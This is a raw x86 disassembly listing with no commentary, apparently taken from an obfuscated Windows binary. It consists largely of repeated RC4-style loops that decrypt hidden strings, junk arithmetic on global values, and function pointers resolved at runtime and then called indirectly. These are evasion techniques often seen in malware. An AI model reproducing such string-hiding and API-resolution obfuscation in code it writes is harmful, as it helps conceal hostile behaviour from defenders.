xor ebx, ebx
and eax, 0x6521ef1b
mov edi, ebx
mov esi, ebx
mov dword [0x44d5b4], eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0x98]
mov byte [ebp + esi - 0x7c8], al
inc esi
cmp esi, 0x18
jb 0x419183
mov esi, 0x401e04
mov byte [ebp - 0xc], 0xce
lea edi, [ebp - 0x100]
mov dword [ebp - 0xa], 0xcda6f8cb
push 0x16
xor ebx, ebx
movsd dword es:[edi], dword [esi]
pop eax
mov byte [ebp - 0xb], al
mov eax, ebx
mov byte [ebp - 0x7b0], bl
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x419203
mov esi, ebx
mov dl, byte [ebp + esi - 0x290]
mov eax, esi
and eax, 0xf
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], dl
cmp esi, 0x100
jb 0x419214
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x32c], al
inc esi
cmp esi, 6
jb 0x419254
push 0x29
pop eax
mov byte [ebp - 0x2c], al
xor ebx, ebx
push 0xd
pop eax
mov byte [ebp - 0x1c], al
mov edi, ebx
push 0x16
pop eax
mov byte [ebp - 0x19], al
mov eax, dword [0x401f20]
mov dword [ebp - 0x58], eax
mov ax, word [0x401f24]
mov word [ebp - 0x54], ax
mov eax, ebx
mov byte [ebp - 0x326], bl
mov dword [ebp - 0x30], 0x8bed2317
mov dword [ebp - 0x2b], 0x26c5e87e
mov dword [ebp - 0x27], 0xb2aff05d
mov dword [ebp - 0x23], 0xf345c251
mov word [ebp - 0x1f], 0x47bd
mov byte [ebp - 0x1d], 0xfa
mov word [ebp - 0x1b], 0x1061
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x419300
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x290]
push 5
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], bl
cmp esi, 0x100
jb 0x419311
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0x30]
mov byte [ebp + esi - 0x7e4], al
inc esi
cmp esi, 0x18
jb 0x419354
movzx eax, byte [0x44d58c]
lea edi, [ebp - 0x5c]
mov esi, 0x401f28
mov dword [ebp - 0xc], 0xd7ee1c01
xor ebx, ebx
mov word [ebp - 8], 0x47ac
mov byte [ebp - 0x7cc], bl
mov edx, 0xb22
mov ecx, 0x44d58c
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebx
jmp 0x4193e8
add edx, eax
inc ecx
cmp edx, 0x239d
ja 0x4193ee
movzx eax, byte [ecx]
test eax, eax
jne 0x4193da
jmp 0x41940e
mov eax, str.threadId
push eax
mov edx, eax
call fcn.00415428
mov eax, dword [0x44d564]
mov dword [ebp - 0x34], eax
add eax, 0x7f516ec4
pop ecx
mov dword [0x44d5b4], eax
imul eax, dword [ebp - 0x34], 0x9808c3ae
mov dword [0x44d564], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or eax, 0xfba65317
mov dword [0x44d564], eax
or dword [0x44d5b4], 0xed1b1f1c
mov eax, str.threadId
push eax
mov edx, eax
call fcn.00415428
pop ecx
mov eax, ebx
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x419444
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x290]
push 9
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x5c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], bl
cmp esi, 0x100
jb 0x419455
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x314], al
inc esi
cmp esi, 6
jb 0x419498
mov al, byte [0x44d58c]
xor ebx, ebx
mov byte [ebp - 1], al
mov edx, 0x1616
mov byte [ebp - 0x30e], bl
mov ecx, 0x44d58c
movzx eax, al
jmp 0x419519
add edx, eax
inc ecx
cmp edx, 0xa4c
ja 0x419624
movzx eax, byte [ecx]
test eax, eax
jne 0x419507
mov eax, dword [0x44d5b4]
imul eax, eax, 0xc9447433
mov edi, ebx
push 0x1a
mov dword [ebp - 0x30], 0xb73ff02
mov dword [ebp - 0x2c], 0x8e8551fb
mov dword [ebp - 0x28], 0xdd543881
or eax, 0x2750124
mov dword [ebp - 0x24], 0xc3bbe8fb
mov dword [ebp - 0xc], eax
mov dword [0x44d5b4], eax
pop eax
mov byte [ebp - 0x1a], al
mov eax, dword [0x401f34]
mov dword [ebp - 0x58], eax
mov ax, word [0x401f38]
mov word [ebp - 0x54], ax
mov eax, ebx
mov dword [ebp - 0x20], 0xed4001f0
mov word [ebp - 0x1c], 0x783d
mov byte [ebp - 0x19], 0x24
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x41957e
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x290]
push 5
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], bl
cmp esi, 0x100
jb 0x41958f
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
mov ecx, 0x44d58c
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
mov edx, 0x1dc6
movzx eax, al
mov al, byte [ebp + eax - 0x290]
mov byte [ebp - 2], al
movzx eax, byte [ebp - 1]
jmp 0x419650
call fcn.0041555f
mov eax, dword [0x44d5b4]
mov cl, byte [0x44d58c]
sub eax, 0x10e7dadd
mov byte [ebp - 1], cl
jmp 0x419522
add edx, eax
inc ecx
cmp edx, 0x64
ja 0x41978e
movzx eax, byte [ecx]
test eax, eax
jne 0x419641
mov ecx, dword [ebp - 0xc]
xor ecx, 0x5f353731
mov dword [ebp - 0xc], ecx
mov dword [0x44d5b4], ecx
mov al, byte [ebp + esi - 0x30]
xor al, byte [ebp - 2]
and dword [0x44d564], 0xb48f975e
mov byte [ebp + esi - 0x800], al
inc esi
cmp esi, 0x18
jb 0x4195d2
mov eax, dword [0x401eb0]
xor ebx, ebx
mov dword [ebp - 0x58], eax
mov edi, ebx
mov ax, word [0x401eb4]
mov word [ebp - 0x54], ax
mov eax, ebx
mov byte [ebp - 0x7e8], bl
mov dword [ebp - 0xcc], 0x370afe77
mov word [ebp - 0xc8], 0xf0e7
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x4196b9
mov esi, ebx
xor ecx, 0xb1ddda1b
mov bl, byte [ebp + esi - 0x290]
mov dword [ebp - 0xc], ecx
xor edx, edx
push 5
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], bl
cmp esi, 0x100
jb 0x4196ca
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0xcc]
mov byte [ebp + esi - 0x168], al
inc esi
cmp esi, 6
jb 0x419719
mov cl, byte [ebp - 1]
mov eax, 0x44d58c
push 0
pop ebx
test cl, cl
je 0x4197b6
push 9
pop edx
sub cl, 0x30
cmp cl, dl
ja 0x4197ac
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x41977e
jmp 0x4197b6
call fcn.0041555f
mov ecx, dword [0x44d5b4]
mov al, byte [0x44d58c]
add ecx, 0x29f97469
mov byte [ebp - 1], al
jmp 0x419657
add dword [0x44d564], 0x3d50d3b5
imul eax, dword [ebp - 0xc], 0x57aab9e7
lea ecx, [ebp - 0x324]
push dword [ebp - 0x2d8]
mov byte [ebp - 0x162], bl
mov dword [ebp - 0x190], 0xc
mov dword [0x44d5b4], eax
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x188], eax
lea eax, [ebp - 0x190]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0x774]
call fcn.0041e636
call eax
test eax, eax
jne 0x419872
mov eax, dword [0x44d564]
mov ecx, ebx
add eax, 0x9ad3e72b
mov dword [ebp - 0x190], 0x54
mov dword [ebp - 0x18c], 0x54
mov dword [ebp - 0x188], 0xffffff58
mov dword [0x44d5b4], eax
sub ebx, dword [ebp + ecx*4 - 0x190]
inc ecx
cmp ecx, 3
jl 0x41985e
mov eax, ebx
jmp 0x41af54
mov eax, dword [ebp - 0x2d4]
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x400], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x3f4], eax
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x3f0], eax
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x3e4], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x3e0], eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp - 0x160]
or eax, dword [ebp - 0xdc]
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0xe4]
mov word [ebp - 0x3d4], ax
mov eax, dword [ebp - 0xec]
mov word [ebp - 0x3d2], ax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x3cc], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x2a4], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x29c], eax
lea eax, [ebp - 0x2a8]
push eax
lea eax, [ebp - 0x404]
mov dword [ebp - 0x404], 0x44
push eax
push dword [ebp - 0x134]
push dword [ebp - 0x14c]
push dword [ebp - 0x150]
push dword [ebp - 0x118]
push dword [ebp - 0x120]
push dword [ebp - 0x128]
push dword [ebp - 0x110]
push dword [ebp - 0x80]
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0x790]
call fcn.0041e636
call eax
test eax, eax
jne 0x419f01
push 0x2e
pop eax
mov byte [ebp - 0x50], al
lea edi, [ebp - 0x30]
push 5
pop eax
mov ecx, eax
mov dword [ebp - 0x4f], 0x4c3f1b9
mov al, byte [str.threadId]
mov esi, 0x401f3c
mov dword [ebp - 0x4b], 0x5f48b3c8
mov dword [ebp - 0x47], 0x6968ded9
mov dword [ebp - 0x43], 0x4385f586
mov dword [ebp - 0x3f], 0xd53ca901
mov word [ebp - 0x3b], 0x4251
mov byte [ebp - 0x39], 0xf2
rep movsd dword es:[edi], dword [esi]
mov ecx, str.threadId
movsb byte es:[edi], byte [esi]
test al, al
je 0x419a39
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0x419dff
inc ecx
mov al, byte [ecx]
test al, al
jne 0x419a28
mov eax, dword [0x44d5b4]
mov dword [ebp - 0xc], eax
add eax, 0xe1954dc8
mov edi, ebx
mov dword [ebp - 0x38], eax
mov eax, ebx
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x419a4d
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x290]
push 0x14
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x30]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], bl
cmp esi, 0x100
jb 0x419a5e
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0x50]
mov byte [ebp + esi - 0xb4], al
inc esi
cmp esi, 0x18
jb 0x419aa1
push 0xa
pop ecx
mov esi, 0x401ac0
mov dword [ebp - 0x64], 0xb738a23d
lea edi, [ebp - 0x82c]
mov word [ebp - 0x60], 0xd094
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov byte [ebp - 0x9c], bl
mov eax, ebx
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [ebp + eax - 0x758], al
inc eax
cmp eax, 0x100
jb 0x419b1c
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x758]
push 0x29
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x82c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x758]
mov byte [ebp + esi - 0x758], al
inc esi
mov byte [ebp + edi - 0x758], bl
cmp esi, 0x100
jb 0x419b2d
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x758]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x758]
mov byte [ebp + edi - 0x758], al
mov byte [ebp + ebx - 0x758], cl
movzx eax, byte [ebp + edi - 0x758]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x758]
xor al, byte [ebp + esi - 0x64]
mov byte [ebp + esi - 0x14], al
inc esi
cmp esi, 6
jb 0x419b73
push 0x14
pop eax
mov byte [ebp - 0x105], al
lea edi, [ebp - 0x98]
push 5
pop eax
mov ecx, eax
mov word [ebp - 0x108], 0x714c
mov esi, 0x401de4
mov byte [ebp - 0x106], 0x84
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov dword [ebp - 0x104], 0xeca24f9f
mov byte [ebp - 0xe], bl
mov eax, ebx
mov dword [ebp - 0x100], 0x85012302
movsw word es:[edi], word [esi]
mov dword [ebp - 0xfc], 0x5ff09069
mov dword [ebp - 0xf8], 0xe1f8f079
mov dword [ebp - 0xf4], 0xfab6de51
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x558], al
inc eax
cmp eax, 0x100
jb 0x419c27
mov esi, dword [ebp - 0xc]
mov edi, ebx
xor edx, edx
mov cl, byte [ebp + edi - 0x558]
mov eax, edi
mov byte [ebp - 2], cl
div dword [ebp - 0x70]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x98]
add eax, ebx
add ecx, eax
mov al, byte [str.threadId]
movzx ebx, cl
mov ecx, str.threadId
test al, al
je 0x419c80
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0x419e0e
inc ecx
mov al, byte [ecx]
test al, al
jne 0x419c6f
mov eax, dword [ebp - 0x38]
imul esi, eax, 0x72737e2c
mov al, byte [ebp + ebx - 0x558]
mov byte [ebp + edi - 0x558], al
inc edi
mov al, byte [ebp - 2]
mov byte [ebp + ebx - 0x558], al
cmp edi, 0x100
jb 0x419c3b
xor ebx, ebx
mov dword [ebp - 0xc], esi
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x558]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x558]
mov byte [ebp + edi - 0x558], al
mov byte [ebp + ebx - 0x558], cl
movzx eax, byte [ebp + edi - 0x558]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x558]
xor al, byte [ebp + esi - 0x108]
mov byte [ebp + esi - 0x2f4], al
inc esi
cmp esi, 0x18
jb 0x419cb3
push 6
pop ecx
mov esi, 0x401f54
mov dword [ebp - 0x64], 0xa36e7241
lea edi, [ebp - 0x458]
mov word [ebp - 0x60], 0xcf65
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov byte [ebp - 0x2dc], bl
mov eax, ebx
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [ebp + eax - 0x658], al
inc eax
cmp eax, 0x100
jb 0x419d31
push 0x19
mov esi, ebx
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x658]
mov eax, esi
div ecx
movzx ecx, bl
push 0x19
movzx eax, byte [ebp + edx - 0x458]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x658]
mov byte [ebp + esi - 0x658], al
inc esi
mov byte [ebp + edi - 0x658], bl
cmp esi, 0x100
jb 0x419d45
mov esi, dword [ebp - 0xc]
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov eax, ebx
mov edi, ebx
inc eax
movzx eax, al
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x34]
mov cl, byte [ebp + eax - 0x658]
mov eax, dword [ebp - 0x38]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x38], eax
mov al, byte [ebp + eax - 0x658]
mov byte [ebp + ebx - 0x658], al
mov eax, dword [ebp - 0x38]
mov byte [ebp + eax - 0x658], cl
mov eax, ebx
xor ebx, ebx
movzx eax, byte [ebp + eax - 0x658]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x658]
mov byte [ebp - 2], al
mov eax, ebx
cmp byte [0x44d58c], al
je 0x419e23
inc eax
cmp eax, 0x420
jl 0x419e1d
cmp byte [eax + 0x44d58c], bl
jne 0x419ded
jmp 0x419e23
mov eax, dword [0x44d564]
add eax, 0x8bb3b02b
jmp 0x419a3e
mov eax, esi
xor eax, 0xfbeb5479
mov dword [ebp - 0x38], eax
jmp 0x419c83
add esi, 0x7e61cab5
add esi, 0x4d456dad
mov dword [0x44d5b4], esi
xor esi, 0x9f111151
mov dword [0x44d564], esi
call fcn.0041555f
mov al, byte [ebp + edi - 0x64]
xor al, byte [ebp - 2]
mov byte [ebp + edi - 0x80], al
inc edi
cmp edi, 6
jae 0x419e5f
mov esi, dword [0x44d5b4]
mov eax, dword [ebp - 0x34]
jmp 0x419d91
mov eax, dword [0x44d5b4]
lea ecx, [ebp - 0x14]
push dword [ebp - 0x114]
mov dword [ebp - 0x78], 0x1c
add eax, 0x334cadb3
mov dword [ebp - 0x74], 0x26
mov dword [ebp - 0x70], 0x51
mov dword [ebp - 0x6c], 0xffffff22
movups xmm1, xmmword [ebp - 0x78]
mov byte [ebp - 0x7a], bl
mov dword [0x44d564], eax
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd esi, xmm1
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.0041e636
call eax
mov ecx, dword [0x44d5b4]
push dword [ebp - 0xd0]
and ecx, 0x4f91dbc9
mov dword [0x44d564], ecx
lea ecx, [ebp - 0x80]
call fcn.0041e657
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.0041e636
call eax
lea eax, [esi + 0x4b]
jmp 0x41af54
cmp dword [ebp - 0x10], 0
jne 0x41aece
push 0x19
pop eax
push 0xd
mov ecx, 0xffffff5b
mov dword [ebp - 0xec], 0x71d2da54
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x330], ecx
pop ecx
push 0x17
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x410], ecx
pop ecx
push 8
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x298], ecx
pop ecx
push 0x12
mov dword [ebp - 0x350], ecx
mov dword [ebp - 0x34c], ecx
pop ecx
push 0x52
pop esi
mov word [ebp - 0xe8], 0x3441
mov dword [ebp - 0x3b0], 0x4e
mov dword [ebp - 0x3ac], eax
mov dword [ebp - 0x3a8], 0x15
mov dword [ebp - 0x3c0], 0x43
mov dword [ebp - 0x3bc], 0x26
mov dword [ebp - 0x3b8], 0x33
mov dword [ebp - 0x3b4], 0xffffff64
mov dword [ebp - 0x338], 0x45
mov dword [ebp - 0x334], 0x60
mov dword [ebp - 0x434], 0x21
mov dword [ebp - 0x430], 0x3c
mov dword [ebp - 0x428], 0x3796
mov dword [ebp - 0x418], 0x2c
mov dword [ebp - 0x414], 0x34
mov dword [ebp - 0x40c], 0x3793
mov dword [ebp - 0x37c], 0x31
mov dword [ebp - 0x378], 0x41
mov dword [ebp - 0x370], 0xffffff4a
mov dword [ebp - 0x344], 0x23
mov dword [ebp - 0x340], 6
mov dword [ebp - 0x33c], 0xffffffd7
mov dword [ebp - 0x294], 0x39d
mov word [ebp - 0xe4], 0xd754
mov byte [ebp - 0xe2], 0x9e
mov byte [ebp - 0xe1], bl
mov word [ebp - 0xe0], 0x3944
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], 0x34
mov dword [ebp - 0x390], 0x59
mov dword [ebp - 0x38c], 0xffffff5a
mov dword [ebp - 0x348], 0xfffffff0
mov dword [ebp - 0x2ec], 0x5c
mov dword [ebp - 0x2e8], ecx
mov dword [ebp - 0x2e4], 0x5a
mov dword [ebp - 0x2e0], 0xffffff38
mov dword [ebp - 0xdc], 0xdec65fbb
mov word [ebp - 0xd8], 0xc9b6
mov dword [ebp - 0x35c], 0x35
mov dword [ebp - 0x358], 0x56
mov dword [ebp - 0x354], 0x2375
mov dword [ebp - 0x368], esi
mov dword [ebp - 0x364], 0x50
mov dword [ebp - 0x360], 0xffffff65
mov dword [ebp - 0x100], 0x40
mov dword [ebp - 0xfc], 0x1f
mov dword [ebp - 0xf8], 0x62
mov dword [ebp - 0xf4], 0x303
mov dword [ebp - 0x2b0], 0xe
mov dword [ebp - 0x2ac], 0xffffffe6
mov dword [ebp - 0x2c8], 0x39
mov dword [ebp - 0x2c4], 0x22
mov dword [ebp - 0x2c0], 0xffffffa5
push 0x12
pop ecx
mov byte [ebp - 0xaf], al
lea edi, [ebp - 0x2c]
push 5
pop eax
mov byte [ebp - 0xc3], cl
mov esi, 0x401f70
mov ecx, eax
mov byte [ebp - 0xc4], 0x90
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x44d564]
mov eax, ebx
or edi, 0xe8c824c8
mov dword [ebp - 0xc2], 0x99efe882
add edi, 0x711ba8c9
mov dword [ebp - 0xbe], 0xa59f6bd1
mov dword [ebp - 0xba], 0x9b3c888d
mov dword [ebp - 0xb6], 0xa0e76cd7
mov word [ebp - 0xb2], 0x3ef5
mov byte [ebp - 0xb0], 0x59
mov dword [ebp - 0xae], 0xe0159c3c
mov dword [ebp - 0xaa], 0x6f92a893
mov dword [ebp - 0xa6], 0xd1546201
mov dword [ebp - 0xa2], 0x4cae317e
mov dword [ebp - 0x9e], 0x6b6abe48
mov word [ebp - 0x9a], 0xef34
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x80], edi
mov dword [0x44d564], edi
mov byte [ebp + eax - 0x658], al
inc eax
cmp eax, 0x100
jb 0x41a20b
mov edi, dword [ebp - 0x10]
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x658]
push 0x13
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x2c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x658]
mov byte [ebp + esi - 0x658], al
inc esi
mov byte [ebp + edi - 0x658], bl
cmp esi, 0x100
jb 0x41a21f
mov edi, dword [ebp - 0x80]
xor ebx, ebx
mov ecx, dword [0x44d5b4]
mov esi, ebx
mov edx, ebx
lea eax, [edx + 1]
mov edx, str.threadId
movzx eax, al
mov dword [ebp - 0x80], eax
push 0x7d
mov al, byte [ebp + eax - 0x658]
mov byte [ebp - 2], al
movzx eax, al
mov dword [ebp - 0x110], eax
add eax, esi
movzx eax, al
mov dword [ebp - 0x10], eax
movzx eax, byte [str.threadId]
pop esi
jmp 0x41a2ae
add esi, eax
inc edx
cmp esi, 0x9ca
ja 0x41a2b4
movzx eax, byte [edx]
test eax, eax
jne 0x41a2a0
jmp 0x41a2c5
call fcn.0041555f
mov ecx, dword [0x44d5b4]
imul edi, ecx, 0x8fa5dc02
imul edi, edi, 0x375eeb1a
mov dword [0x44d564], edi
mov esi, dword [ebp - 0x10]
sub ecx, 0x59d3997b
mov edx, dword [ebp - 0x80]
mov dword [0x44d5b4], ecx
mov al, byte [ebp + esi - 0x658]
mov byte [ebp + edx - 0x658], al
mov al, byte [ebp - 2]
mov byte [ebp + esi - 0x658], al
movzx eax, byte [ebp + edx - 0x658]
add eax, dword [ebp - 0x110]
movzx eax, al
mov al, byte [ebp + eax - 0x658]
xor al, byte [ebp + ebx - 0xc4]
mov byte [ebp + ebx - 0x85c], al
inc ebx
cmp ebx, 0x2c
jb 0x41a26b
xor ebx, ebx
mov eax, ebx
cmp byte [str.threadId], al
je 0x41a351
inc eax
cmp eax, 0x22d9
jl 0x41a349
cmp byte [eax + str.threadId], bl
jne 0x41a337
jmp 0x41a351
mov ecx, edi
and ecx, 0x760c71d5
mov eax, ecx
and eax, 0x996ed9b1
mov dword [0x44d564], eax
mov eax, 0x44d58c
xor ecx, 0x6b45e4de
push eax
mov edx, eax
mov dword [0x44d5b4], ecx
call fcn.00415428
mov esi, 0x401f84
mov byte [ebp - 0x830], bl
lea edi, [ebp - 0x4c]
mov eax, ebx
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x558], al
inc eax
cmp eax, 0x100
jb 0x41a390
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x558]
push 0x12
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x4c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x558]
mov byte [ebp + esi - 0x558], al
inc esi
mov byte [ebp + edi - 0x558], bl
cmp esi, 0x100
jb 0x41a3a1
mov edi, dword [0x44d5b4]
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov esi, ebx
mov dword [ebp - 0x34], ebx
lea eax, [esi + 1]
movzx esi, al
mov eax, ebx
cmp byte [str.threadId], al
je 0x41a432
inc eax
cmp eax, 0x125e
jg 0x41a410
